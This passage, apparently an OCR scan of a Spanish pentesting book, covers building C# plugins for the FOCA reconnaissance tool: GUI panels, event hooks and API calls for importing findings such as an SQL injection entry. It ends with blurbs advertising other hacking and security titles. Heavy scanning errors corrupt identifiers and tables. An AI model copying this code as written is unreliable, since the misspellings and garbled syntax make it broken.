como un ‘StartUp Project’ para que pueda ser ejecutado como primera instancia a la hora de llevar
a cabo los procesos de depuracion del plugin. En la siguiente imagen se puede ver como debe ser
configurada esta caracteristica del proyecto en Visual Studio.

. SetasStartUpPro;ect

Imagen 06.07: Configuracion del proyecto como StartUp Project.

Una vez hecho esto, serd entonces en el ‘handler’ desde donde aconsejamos realizar las llamadas
e inicializacion de nuestra DLL. Este es sin embargo unicamente un consejo para llevar a cabo el
desarrollo o depuracion de la libreria.

En la siguiente captura se puede ver el codigo fuente de un plugin en el que uno de los ‘handler’
esta encargandose de mostrar un formulario localizado en el contenido del proyecto de este plugin
de ejemplo.

[Clusing System;
{using System.Collections.Generic;
%using System.Threading;
| using System.Text;
-Inamespace handler
{
= class Program
1
=i static void Main(string[] args)
i
Start();
¥
=i static private void Start()
| {
svndownloader.Plugin.mainForm = new svndownloader.Main();
svndownloader.Plugin.mainForm.ShowDialog();
}
b
3

Imagen 06.08: Hancdler mostrando el cuadro de didlogo.
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2.GUI del plugin

Una vez ya creado el proyecto, llega el momento de decidir cual va a ser la forma en la que el usuario
de FOCA va a visualizar los resultados e interactuar con las funcionalidades del plugin. Para disefiar
el aspecto grafico que tendra el plugin, con la version actual de la API de FOCA se permiten dos
modos distintos para interactuar con la interfaz GUI de la propia FOCA: El GUI de un plugin podra
tener una interaccion con ventanas independientes o por medio de paneles que estaran embebidos
dentro de FOCA.

En el desarrollo de un plugin que tenga un GUI por ventanas, sera el propio plugin el encargado de
crear y mostrar los formularios que desee para visualizar la informacion y el disefio de interfaz que
se haya creado. Este modo de trabajo es muy similar a la forma habitual de creacion de programas
en la que se desarrolla una aplicacion escrita con Windows Forms.

En los plugins que hemos visto anteriormente existen las dos modalidades. Por ejemplo, en la
imagen siguiente se ve el plugin de MySQL Injector en el que se ha definido que la interaccion con
FOCA usando una visualizacion mediante este sistema de ventana.

ek dpOptios o Teddmt T Puges g Abous

FOCA 3.1

{
{
i
|

| 4 % |
{ I |

Imagen 06.09: Plugin con visualizacion en modo ventana.

Cuando se disefia un plugin con el sistema de paneles embebidos, se permite al plugin integrarse
dentro de la propia inferfaz que tiene la herramienta de la FOCA. Este es el sistema que se ha
empleado para la mayoria de los plugins, como el WebFuzzer, o el SVN Extractor.

Para poder hacer esta integracion, es necesario realizar la creacion de un panel dentro del proyecto

e introducir dentro del mismo los controles que se deseen exportar a la inferfaz para que se puedan
pintar dentro de la GUI de FOCA.
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En la siguiente captura se ve el aspecto que tendra un plugin que ha decidido que la interaccion sea
utilizando paneles. Como se puede ver en la imagen siguiente, es parte de la GUI de FOCA.

[z Project 7% Repot ¥ Tools (i Options

3 Tesklist @ Plugins & About

2@ Noproiect i v | Btensiors view | oot |
(5 Netvworic E
T Domains. SVN Bdractor v0.1
- 4% Foles hitp:/ Avenew irformaticatd com/
G- Vulnersbiities |
@1 Metadata |

Imagen 06.10: Plugin con visualizacion en modo panel.

Para embeber en la FOCA uno de estos paneles es necesario hacer uso del objeto ‘PluginPanel’
(PluginsAPI Elements. PluginPanel) y afadirlo a la lista de exportacion, tal y como se puede ver en
el siguiente ejemplo:

public Plugin()

Panel panelForm = new Panel();

FluginPanel panelPlugin = new PluginPanel (panelFfForm, false);

export.Add (panelPlugin) ;

}

Una vez afnadido el panel el siguiente paso necesario es implementar la funcionalidad para mostrar
el panel. Esto puede llevarse a cabo afiadiendo un nuevo item en el menu desplegable de plugins
exportando el objeto *PluginToolStripMenultem’, tal y como se puede ver en el siguiente codigo de
ejemplo:

public Plugin()

{
Panel panelForm = new Panel();
PluginPanel panelPlugin = new PluginPanel (panelForm, false);
ToolStripMenultem toolStripMenu = new ToolStripMenultem( name) :
toolStripMenu.Image = Properties.Resources.cookie;
toolStripMenu.Click += delsgate
{
panelForm.BringToFront () ;
panelForm.Visible = true;
bi
PluginToolStripMenultem toclStripPlugin = new
PluginToolStripMenultem (toclStripMenu) ;
export.Add (teolStripPlugin) ;
export.Add (panelPlugin);
}
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Con el codigo que se ha visto, cuando se ejecute el plugin se obtendra un resultado similar al que se
puede ver en la siguiente captura de pantalla, donde se ha embebido un panel vacio.

PSSO i | oad/Unload plugins
ﬂ MySQL injector :
| 4 SVN Bxtractor i
PANEL EMBERIDO ;
i
' i

Imagen 06.11: Plugin de ejemplo embebido en FOCA.

Ademads del panel embebido, en la imagen 06.11 se puede ver que también se ha agregado un
*ToolStripltem’ en el men( desplegable que aparece al hacer clic sobre la opcidn de ‘Plugins’. Alli
es donde se listardn todos los plugins que se hayan ido cargando en la herramienta FOCA. Ademas,
desde esa opcion se podran cargar y descargar todos los plugins.

Con esta informacion minima se permite interactuar ya al plugin con FOCA y a la FOCA con el
plugin desde un punto de vista de interfaz. Elegir uno u otro método de visualizacién debera ser
decision del programador pensando siempre en lo que sea mejor para el uso del plugin, ya que cada
uno de ellos tiene ventajas e inconvenientes.

El resto del disefio del interfaz del plugin tendra que realizarse en funcion de los datos que seran
necesarios visualizar y/o configurar, y es decision total del desarrollador elegir qué, donde y cdmo
ponerlo.

Ahora, para dotar de sentido la creacion de un plugin, hay que pensar que el trabajo siguiente sera
establecer un canal de comunicacion de informacion entre ambos, utilizando para ello los eventos
que vamos a describir a continuacion. Hay que decidir qué informacion se quiere obtener de FOCA
para hacer algo extra y qué informacion debera ser enviada desde el plugin a FOCA para ampliar los
datos obtenidos en FOCA y por tanto la potencia de la herramienta a la hora de realizar un proceso
de pentesting con ella.
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Capturar eventos

Como ya se ha dicho, los eventos que genera FOCA permiten a los plugins capturar determinados
mensajes que son enviados a éstos para obtener informacion directamente desde el proyecto que
tiene en ejecucion FOCA. Para conseguir capturar esta informacion, primeramente es necesaria la
creacion de un nuevo método de tipo ‘void’ en la clase publica *Plugin’ que se vio como crear al
principio de este capitulo, que debe tener como nombre el evento en concreto que se quiere capturar

con el “Plugin.

Entre los eventos que se encuentran disponibles para que un plugin pueda capturarlos y recibir
informacidn del proyecto en curso dentro de #OCA se encuentran los siguientes que aparecen en

esta tabla:

Evento
(void) OnNewDomain

Argumentos
Object]]
{

string demain

}

(void) OnNewURL Object(] Envia una URL.
{
string urf
)
(void) OnNewIP Object[] Envia una direccion IP.
{
string ip
}
(void) OnNewProject Object(] Envia el dominio principal cuando un
{ proyecto es creado.
string domain
}
(void) OnNewNetrange  Object(] Envia el rango de inicio y fin de un
{ netrange.
string ipFrom,
string ipTo
}
(void) OnNewRelation  (Object]] Envia una relacién de un dominio con una
{ IP cuando ésta es calculada.
string ip,
string domain
}
(void) OnNewDocument {No implementado) {No implementado)

Descripcion
Envia un dominio.

Imagen 06.12: Eventos disponibles en FOCA.

Como se puede ver, en cada evento disparado por FOCA va asociada la informacion relativa. Por
ejemplo con un nuevo dominio encontrado se envia el nombre del dominio en cuestion.
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Como ejemplo sencillo de plugin, a continuacion se ve una captura de pantalla donde se ve la
plantilla capturando los dominios agregados mediante el evento ‘OnNewDomain’. Lo tnico que
hace el plugin es crear un método llamado OnNewDomain que recibe como parametro de entrada
el nombre del nuevo dominio. Esos datos los va pintando en el cuadro de dialogo que se ve en la

Project  {= Report ¥ Tools

@ Project of uhu es

e |FOCA

S Options ) Tasklist B Plugins & About

Maszsage
FTP server found on uhu e 21
FTF server found on www uhu es:21

BE{

(i cai ] [ Desstivae

Search doc in GoogleWeb

Imagen 06.13: Plugin sencillo para la captura de nombres de dominios encontrados por FOCA.

Este plugin es bastante sencillo y aparentemente poco practico, pero podria servir como ejemplo para
obtener muchas utilidades. Por ejemplo, si hubiera otros sistemas de seguridad en la organizacion, u
otras herramientas automatizadas para la evaluacion de los activos de una organizacion, un plugin tan
sencillo como el descrito podria ser creado para poder enviar a una base de datos de la organizacion
o directamente a las bases de datos de esas herramientas de auditoria y seguridad todo lo que vaya
descubriendo FOCA.

Con estos eventos el desarrollador de un plugin ya sabe a qué informacién de la que se genera
desde FOCA se puede suscribir, por lo que podrian hacerse facilmente integraciones con muchas
herramientas populares como namp, nessus, etcétera. El proceso convertiria a la FOCA en una
solucion de descubrimiento de activos de auditoria para el lanzamiento automatico de procesos de
auditoria automatizados.

Una vez que ya hemos visto como obtener datos de FOCA para que estos lleguen al plugin y se
hagan cosas con ellos, ahora quedaria por ver como se puede enviar informacion en el sentido
inverso. Es decir, como el plugin, una vez que ha procesado toda la informacion, es capaz de meter
informacion que se una al proyecto de auditoria que se esta realizando. Esto lo vamos a ver justo en
el siguiente apartado.
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Importar elementos desde el plugin a la FOCA

Llegando ya a la Gltima parte del proceso, para que los plugins puedan interactuar con la interfaz
grifica y el proyecto en curso de FOCA, la API oferta al desarrollador de un plugin el método
Import ImportEventCaller((ImportObject) iObject). El constructor del objeto de tipo ‘ImportObject’
recibe dos parametros de tipo ‘Import.Operation’y ‘object’ con la siguiente definicion:

ImportObject (Import.Operation operation, object o);

Entre las operaciones que estan disponibles en la AP/ y que pueden usarse desde cualquier de los
plugins que se creen para FOCA, se encuentran las siguientes, con sus correspondientes objetos a
importar para cada tipo de operacion.

Operacion Objecto(s) a importar

AssociationDomainIP ImportElements.AssociationDomainIP
{
string domain,
String ip
}
AddDomain string domain
AddSQLi ImportElements.AddSQLI
{
string url,
String parameter
s
AddBackup ImportElements.AddBackUp
{
string url
¥
AddDirectorylisting ImportElements.AddDirectorylisting
(No implementado) { _
string url
}
AddDsStore ImportElements.AddDsStore
(No implementado) {
string url
3
AddGHDB ImportElements . AddGHDB
{
string url
¥
AddInsecureMethod ImportElements.AddInsecuretethod
(No implementado) { :
string url,
string method
}

Imagen 06.14: Operaciones para importar datos en FOCA desde el plugin.
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Operacion
AddLea
(No implementado)

AddListing
(No implementado)

AddMultiplesChoice
(No implementado)

AddProxy
(No implementado)

AddSvn
(No implementado)

AddUser
(No implementado)

AddZoneTransfer
(No implementado)

AssignRol

AddIP
AddURL

Objecto(s) a importar
ImportElements.AddLea

{
string url,
string description

}

ImportElements.AddListing
{

}

string url

ImportElements.AddMultiplesChoice

{

string url

}
ImportElements. AddProxy
{
string url,
int port
}
ImportElements.AddSvn
{
string url
}
ImportElements.AddUser
{
string domain,
string user
]

ImportElements.AddZonelransfer

{

}
ImportElements.AsignRol

{

string ip

string ip,
string rol
}
String ip
String url

Imagen 06.15: Operacionones para importar datos en FOCA desde el plugin (2° parte).

Por ejemplo, para asignar al dominio ‘www serverl.com’ una Vulnerabilidad de tipo SQL injection
en la Url HTTP://www.serverl.com/focaplugin.aspx sobre el parsmetro ‘i’ se podria hacer asi:

ImportObject iObject = new ImportObject (
Import.Operation.AddsgQLi,
new ImportElements.AddSOLT (
“HTTP://www.serverl.com/focaplugin.aspx”, “id")
)i
Import.ImpertEventCaller (iObject) ;
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Para terminar, ademas de todas esas funciones, existen mas para importar elementos del ment, que

puedes ver a continuacion en las siguientes tablas, como manual de referencia:

Operacion Objecto(s) a importar

AddContextMenu ContextualMenu.Global
{

ToolStripMenultem menu

I3

Elements.ContextualMenu.ShowDomainsDomainItemMenu

{
ToolStripMenultem menu

1
Elements.ContextualMenu. ShowDomainsDomainMenu
{
ToolStripMenultem menu
X

Elements.ContextualMenu.ShowDomainsDomainRelatedDomainsItemMenu

TaolStripMenultem menu
}

Elements.ContextualMenu. ShouwDomainsDomainRelatedbDomainsMenu

ToolStripMenultem menu
}

Elements.ContextualMenu, ShowDomalnstenu

ToolStripMenuItem menu

}

Elements.ContextualMenu. ShowMetadataMenu
{ ToolStripMenultem menu

}

Elements.ContextualMenu.ShowhetworkClientsItemMenu
{

ToolStripManultem menu

}

Elements.ContextualMenu. ShowhetworkClientsMenu
: ToolStripMenultem menu

}
Elements.ContextualMenu.ShowletworkIpRangeMenu
. TeolStripMenultem menu

3

Elements.ContextualMenu. Showhetworkienu

ToolStripMenultem menu

1

Imagen 06.16: Operaciones para importar elementos en el meni de FOCA desde el plugin (2° parte).
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Operacion Objecto(s) a importar
AddContextMenu Elements.ContextualMenu.ShowletworkServersTitenteny
{
ToolStripMenultem menu
¥
Elements.ContextualMenu. ShowletworkServersienu
{
ToolStripMenultem menu
}
Elements.ContextualMenu. ShowNetworkUnlocatedItenMeny
{
ToolStripMenultem menu
}
Elements.ContextualMenu.ShowNetworkunlocatedMenu
{
ToolStripMenultem menu
}
Elements.ContextualMenu.ShowProjectMenu
{
ToolStripMenultem menu
}
Elements.ContextualMenu. ShowRolesManu
{
ToolStripMenultem menu
1
Elements.ContextualMenu. ShowRolesRolMeny
{
ToolStripMenuItem menu
3
Elements.ContextualMenu.ShowRolesRolMenultem
{
ToolStripMenultem menu
}
Elements.ContextualMenu.ShowVulnerabilitiesMenu
{
ToolStripMenultem menu
}
Elements.ContextualMenu.ShowVulnerabilitiesVulnerabilitisMenu
i
ToolStripMenultem menu
}
Elements.ContextualMenu.ShowVulnerabilitiesVulnerabilitieMenulten
ToolStripMenultem menu,
Elements.ContextualMenu.keyType menu
}

Imagen 06.17: Operaciones para importar elementos en el meni de FOCA desde el plugin (2 parte).
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3. Final

Si has leido hasta este punto, ya sabes tanto como los que creamos la FOCA, y seguro que eres
capaz de saber mas de ella que nosotros mismos si amplias sus funcionalidades con nuevos plugins.
El nimero de fuentes abiertas que hay en Internet es muy grande, el nimero de herramientas con
las que puedes integrar FOCA es enorme y el nimero de nuevos trucos de pentesting que van
apareciendo dia a dia hacen que esto no se acabe.

Ya sabes manejar la FOCA en profundidad, sabes como integrarla con otras herramientas, y sabes
como hacer plugins para que las funcionalidades sean infinitas. Es tiempo para que digas eso de:
“Fear the FOCA™.
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El DNI electronico estd entre nosotros, desde hace bastante tiempo pero,
desgraciadamente, el uso del mismo en su faceta electrénica no ha despegado.
Todavia son pocas las empresas y los particulares que sacan provecho de las
funcionalidades que ofrece. En este libro Rames Sarwat, de la empresa SmartAccess,
desgrana los fundamentos tecnologicos que estan tras €l, y muestra como utilizar el
DNI-e en entornos profesionales y particulares. Desde autenticarse en los sistemas
informaticos de una empresa, hasta desarrollar aplicaciones que saquen partido del
DNI-e. Rames Sarwat es licenciado en Informatica por la Universidad Politécnica
de Madrid y socio fundador y director de SmartAccess. Anteriormente ejercio como
Director de Consultorfa en Microsofi..

Anuario ilustrado de seguridad informatica, anécdotas y entrevistas exclusivas...
Casi todo lo que ha ocurrido en seguridad en los ultimos doce afios, esta dentro de
“Una al dia: 12 aiios de seguridad informdtica”.

Para celebrar los doce afios ininterrumpidos del boletin Una al dia, hemos
realizado un recorrido por toda una década de virus, vulnerabilidades, fraudes.
alertas, y reflexiones sobre la seguridad en Internet. Desde una perspectiva amena
y entretenida y con un disefio sencillo y directo. Los 12 aftos de Una al dia
sirven de excusa para un libro que esta compuesto por material nuevo, revisado y
redactado desde la perspectiva del tiempo. Ademas de las entrevistas exclusivas y
las anéedotas propias de Hispasec.

Una al dia

La informacion es clave en la preparacion de un test de penetracion. Sin ella
“;;:;‘Ig“;i:;':gm‘;:-‘:= no es posible determinar qué atacar ni cémo hacerlo. Y los buscadores se han

= convertido en herramientas fundamentales para la mineria de datos y los procesos
de inteligencia. Sin embargo, pese a que las técnicas de Google Hacking lleven
afios siendo utilizadas, quiza no hayan sido siempre bien tratadas ni transmitidas
al publico. Limitarse a emplear Google Dorks conocidos o a usar herramientas que
aulomaticen esta tarea es, con respecto al uso de los buscadores, lo mismo que usar
una herramienta como Nessus, o quiza el aufopwn de Metasploit, y pensar que se
estd realizando un test de penetracion. Por supuesto, estas herramientas son ttiles,
pero se debe ir mas alld, comprender los problemas encontrados, ser capaces de
detectar otros nuevos... y combinar herramientas.
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PowerShell

No es de extrafiar que los programas contengan fallos, errores, que, bajo
determinadas circunstancias los hagan funcionar de forma extrafia. Que los
conviertan en algo para lo que no estaban disefiados. Aqui es donde entran en
juego los posibles atacantes. Pentesters, auditores,... y ciberdelincuentes. Para la
organizacion, mejor que sea uno de los primeros que uno de los (ltimos. Pero
para la aplicacion, que no entra en valorar intenciones, no hay diferencia entre
ellos. Simplemente, son usuarios que hablan un extrafio idioma en que los errores
se denominan “vulnerabilidades”, v una aplicacién defectuosa puede terminar
convirtiendose, por ejemplo, en una interfaz de usuario que le permita interactuar
directamente con la base de datos. Y basta con un tinico error.

Las redes de datos IP hace mucho tiempo que gobiernan nuestras sociedades.
Empresas, gobiernos y sistemas de interaccion social se basan en redes TCP/IP.
Sin embargo, estas redes tienen vulnerabilidades que pueden ser aprovechadas
por un atacante para robar contrasefias, capturar conversaciones de voz, mensajes
de correo electrénico o informacion transmitida desde servidores. En este libro se
analizan como funcionan los ataques de man in the middle en redes IPv4 o IPv6,
codmo por medio de estos ataques se puede crackear una conexion VPN PPTP, robar
la conexion de un usuario al Active Directory o cémo suplantar identificadores en
aplicaciones para conseguir perpetrar una intrusion ademas del ataque SLAAC,
el funcionamiento de las técnicas ARP-Spoofing, Neighbor Spoofing en IPv6,
elcétera.

Hoy dia es innegable el imparable crecimiento que han tenido las tecnologias de
los dispositivos méviles en los tltimos afios. El nimero de smartphones, tablets,
etc. han aumentado de manera exponencial. Esto ha sido asi, hasta tal punto que
actualmente estos dispositivos se han posicionado como tecnologias de maxima
prioridad para muchas empresas.

Con este libro se pueden adquirir los conocimientos necesarios para desarrollar
aplicaciones en /OS, guiando al lector para que aprenda a utilizar las herramientas
y técnicas basicas para iniciarse en el mundo iOS. Se pretende sentar unas bases, de
manera que al finalizar la lectura, el lector pueda convertirse en desarrollador iOS
y enfrentarse a proyectos de este sistema operativo por si mismo.

Hoy en dia la administracion de los sistemas es de vital importancia en toda empresa
moderna. PowerShell ofrece al administrador la posibilidad de automatizar las
tareas cotidianas proporcionando un potente lenguaje de scripting. El libro esta
estructurado en distintas tematicas, que ofrecen al lector una introduccién a la
interaccion con la potente linea de comandos de Microsoft, las bases y pilares para
el desarrollo de potentes scripts seguros, v la gestion de productos de Microsoft
desde PowerShell, como son Hyper-V, Active Directory, SharePoint, SOL Server
o [1S. Otro de los aspectos a tratar es la seguridad. El enfoque practico del libro
ayuda al administrador, a entender los distintos y variados conceptos que ofrece
PowerShell.
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Windows Server 2012
para IT Pros

Metasploit

Microhistorias:
anécdotas y curiosidades
de la Informatica

B:VuRD

Hacker I'Epico

Microsoft Windows Server 2012 ha llegado con novedades cuyo objetivo es
simplificarlas. cada vez mas, complejas tareas de los administradores y profesionales
IT. En el presente libro se recogen la gran mayoria de dichas novedades entre las
que destacan la version 3.0 de Hyper-V, el servidor de virtualizacion de Microsoft,
el almacenamiento con su nuevo sistema de archivos y sus propiedades, las mejoras
y nuevas caracteristicas de Active Directory, DNS y DHCP, las novedosas formulas
de despliegue eficiente, la ampliacion y mejora de la linea de comandos Microsoft
Windows PowerShell, y como no, la seguridad, un pilar basico en la estructura de
los productos Microsoft La idea del libro es presentar las novedades y ahondar en
los conceptos principales.

La seguridad de la informacion es uno de los mercados en auge en la Informatica
hoy en dia. Los gobiernos y empresas valoran sus activos por lo que deben
protegerlos de accesos ilicitos mediante el uso de auditorias que proporcionen un
status de seguridad a nivel organizativo. El pentesting forma parte de las auditorias
de seguridad y proporciona un conjunto de pruebas que valoren el estado de la
seguridad de la organizacion en ciertas fases. Merasploit es una de las herramientas
mas utilizadas en procesos de penfesting ya que contempla distintas fases de un
test de intrusion. Con el presente libro se pretende obtener una vision global de las
fases en las que Metasploit puede ofrecer su potencia v flexibilidad al servicio del
hacking ético.

;Sabias que Steve Jobs le llevé en persona un ordenador Macintosh a Yoko Ono
y también a Mick Jagger? ;Y que Jay Miner, el genio que cred el 4miga 1000
tenia una perrita que tomaba parte en algunas de las decisiones de disefio de este
ordenador? ;O que Xenix fue el sistema Unix mas usado en los 80s en ordenadores
y que era propiedad de Microsoft?

Estas son solo algunas de las historias y anécdotas que encontraras en este libro de
Microhistorias. Una parte importante de las cuales tienen como protagonista a los
miembros de Microsoft y de Apple.

50 historias de hackers, phreakers, programadores y disefiadores cuya constancia
y sabiduria nos sirven de inspiracion y de ejemplo para nuestros proyectos de hoy
en dia.

Angel Rios, auditor de una empresa puntera en el sector de la seguridad informatica
se prepara para acudir a una cita con Yolanda, antigua compaiiera de clase de la que
siempre ha estado enamorado. Sin embargo, ella no estd interesada en iniciar una
relacion; solo quiere que le ayude a descifrar un misterioso archivo. Angel se ve
envuelto en una intriga que complicara su vida y lo expondré a un grave peligro.
Unicamente contard con sus conocimientos de hacking y el apoyo de su amigo
Marcos.

Mezcla de novela negra y manual técnico, este libro aspira a entretener e informar
a partes iguales sobre un mundo tan apasionante como es el de la seguridad
informatica. Técnicas de hacking web, sistemas y analisis forense, son algunos de
los temas que se tratan con total rigor y excelentemente documentados.



Pentesting con FOCA

Hacking y Seguridad
VoIP

Wardog y el mundo

BWGRD

Desarrollo de aplicaciones
Android seguras

La evolucion de VoIP ha sido considerable, siendo hoy dia una alternativa muy
utilizada como solucion unica de telefonia en muchisimas empresas. Gracias a la
expansion de Internet y a las redes de alta velocidad, llegard un momento en el que
las lineas telefonicas convencionales sean totalmente sustituidas por sistemas de
VolP, dado el ahorro econémico no solo en llamadas sino también en infraestructura.
El gran problema es la falta de concienciacion en seguridad. Las empresas aprenden
de los errores a base de pagar elevadas facturas y a causa de sufrir intrusiones en
sus sistemas.

Este libro muestra como hacer un test de penetracion en un sistema de VoIP asi
como las herramientas mas utilizadas para atacarlo, repasando ademas los fallos de
configuracién mas comunes.

;Has pensado alguna vez por qué cofio el informatico tiene siempre esa cara de
orco? ;Por qué siempre esta enfadado? ;Por qué no se relaciona con la gente de la
oficina?

Yo te lo digo: por tu culpa. Por vuestra culpa. Por las burradas que hacéis. Porque
no os podéis estar quietecitos, no... Porque os creéis que el informdtico tiene la
solucion para todo.

Pasa, pasa, y entérate de qué pasa por la cabeza de Wardog, un administrador de
sistemas renegado, con afin de venganza, con maldad y con mala hostia.

Wardog y el mundo es el producto de afios de exposicion a fusers dotados de
estupidez toxica, de mala baba destilada y acidez de estomago. Y café en cantidades
malsanas.

Actualmente, el mundo de las aplicaciones moviles es uno de los sectores que
mas dinero mueve en el mercado de la informdtica. Tener conocimientos de
programacion en estas plataformas moviles es una garantia para poder encontrar
empleo a dia de hoy. “Desarrollo de aplicaciones Android seguras™ pretende
inculcar al lector una base sélida de conocimientos sobre programacion en la
plataforma movil con mayor cuota de mercado del mundo: Android. Mediante un
enfoque eminentemente practico, el libro guiara al lector en el desarrollo de las
funcionalidades mas demandadas a la hora de desarrollar una aplicacion mévil.
Ademas se pretende educar al programador e introducirle en la utilizacion de
técnicas de disefio que modelen aplicaciones seguras, en la parte de almacenamiento
de datos y en la parte de comunicaciones.

Este libro se dedica especialmente a dos paradigmas de la criptografia: la clasica
y RSA. Ambos los trata a fondo con el animo de convertirse en uno de los
documentos mas completos en esta temdtica. Para conseguir este trabajo el texto
presentado toma como referencia trabajo previo de los autores, complementandolo
v orientandolo para hacer su lectura mas asequible.

El técnico o experto en seguridad tendrd especial interés por el sistema RSA,
aunque le venga muy bien recordar sus inicios en la criptografia como texto de
amena lectura y, por su parte, el lector no experto en estos temas criptologicos
pero si interesado, seguramente le atraiga inicialmente la criptografia clasica por su
sencillez y sentido historico.
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Hacking de dispositivos i0S:
: & iPad

Pentesting con Kali

Linux Exploiting

Este libro trata sobre la securizacion de entornos Linux siguiendo el modelo de
Defensa en Profundidad. Es decir, diferenciando la infraestructura en diferentes
capas que deberan ser configuradas de forma adecuada, teniendo como principal
objetivo la seguridad global que proporcionaran. Durante el transcurso de esta
lectura se ofrecen bases tedricas, ejemplos de configuraciéon y funcionamiento,
ademds de buenas pricticas para tratar de mantener un entorno lo mds seguro
posible. Sin duda, los entornos basados en Linux ofrecen una gran flexibilidad y
opciones, por lo que se ha optado por trabajar con las tecnologias mas comunes
y utilizadas. En definitiva, este libro se recomienda a todos aquellos que deseen
reforzar conceptos, asi como para los que necesiten una base desde la que partir a
la hora de securizar un entorno Linuux.

A dia de hoy se han vendido mas de 500 millones de dispositivos iOS y aunque la
seguridad del sistema ha mejorado con cada versién todavia se pueden encontrar
vulnerabilidades a explotar. Las auditorias de seguridad en empresas cada vez se
encuentran con mas dispositivos /OS entre sus objetivos, ya que los empleados los
utilizan en sus puestos de trabajo, lo que hace que haya que pensar en ellos como
posibles riesgos de seguridad. En este libro se han juntado un nutrido grupo de
expertos en seguridad en la materia para recopilar en un texto, todas las formas
de atacar un terminal iPhone o iPad de un usuario detereminado. Tras leer este
libro, si un determinado usuario tiene un iPhone o un iPad, seguro que al lector
se le ocurren muchas formas de conseguir la informacién que en ¢l se guarde o de
controlar lo que con €l se hace.

Kali Linux ha renovado el espiritu y la estabilidad de BackTrack gracias a la
agrupacion y seleccion de herramientas que son utilizadas diariamente por miles
de auditores. En Kali Linux se han eliminado las herramientas que se encontraban
descatalogadas y se han afinado las versiones de las herramientas top. La cantidad
de estas es lo que situa a Kali Linux, como una de las mejores distribuciones para
auditoria de seguridad del mundo. El libro plantea un enfoque eminentemente
préctico, priorizando los escenarios reproducibles por el lector, y ensefiando el uso
de las herramientas mas utilizadas en el mundo de la auditoria informatica. Kali
Linux tiene la mision de sustituir a la distribucién de seguridad por excelencia, y
como se puede visualizar en este libro tiene razones sobradas para lograrlo.

El exploiting es el arte de convertir una vulnerabilidad o brecha de seguridad
en una entrada real hacia un sistema ajeno. Cuando cientos de noticias en la red
hablan sobre “una posible ejecucion de codigo arbitrario™, el exploiter es aquella
persona capaz de desarrollar todos los detalles técnicos y complejos elementos
que hacen realidad dicha afirmacién. El objetivo es provocar, a través de un fallo
de programacién, que una aplicacion haga cosas para las que inicialmente no
estaba disefiada, pudiendo tomar asi posterior control sobre un sistema. Desde la
perspectiva de un hacker ético, este libro le brinda todas las habilidades necesarias
para adentrarse en el mundo del exploiting y hacking de aplicaciones en el sistema
operativo Linux. Conviértase en un ninja de la seguridad, aprenda el Kung Fu de
los hackers.



Le herramienta FOCA es una utilidad pensada por pentesters que hacen pen-
testing. Esto hace que la herramienta esté llena de opciones que te seran de
extremada utilidad si vas necesitas hacer una auditoria de seguridad a un sitio
web o la red de una empresa. FOCA esta basada en la recoleccion de informa-
cion de fuentes abiertas OSINT, y en esta altima version se ponen a disposi-
cién publica todos lo plugins y funciones que tenia la version PRO. Ademas, en
esta version, es posible ampliar la funcionalidad de la herramienta y extender
las habilidades de FOCA mediante la creacién de plugins personalizados.

A dia de hoy, FOCA es una popular herramienta en el mundo de la seguridad
usada por cientos de miles profesionales a lo largo del mundo. Ha sido citada
en cientos de conferencias de seguridad, utilizada para hacer estudios de
seguridad por hackers en todo el planeta. Algunos tan famosos como el propio
Kevin Mitnick que en sus conferencias cuenta como sacar el maximo de
partido a esta utilidad. Si te gusta el mundo de la seguridad informatica, el
hacking o el pentesting en general, debes conocer como sacarle el maximo
partido a tu FOCA.

En este libro aprenderas a sacar partido de todas las funciones que tiene
FOCA, asi como utilizarla junto con otras herramientas como Burp, Metasploit
o los frameworks de Evil Grade. También veras como utilizar la informacion
obtenida con FOCA en diferentes esquemas de ataque a utilizar en un pentes-
ting. Conoceras como funciona la fase de analisis de metadatos, las herra-
mientas de descubrimiento de red, las técnicas de fingerprintig y la bisqueda
de vulnerabilidades. Fear the FOCA!
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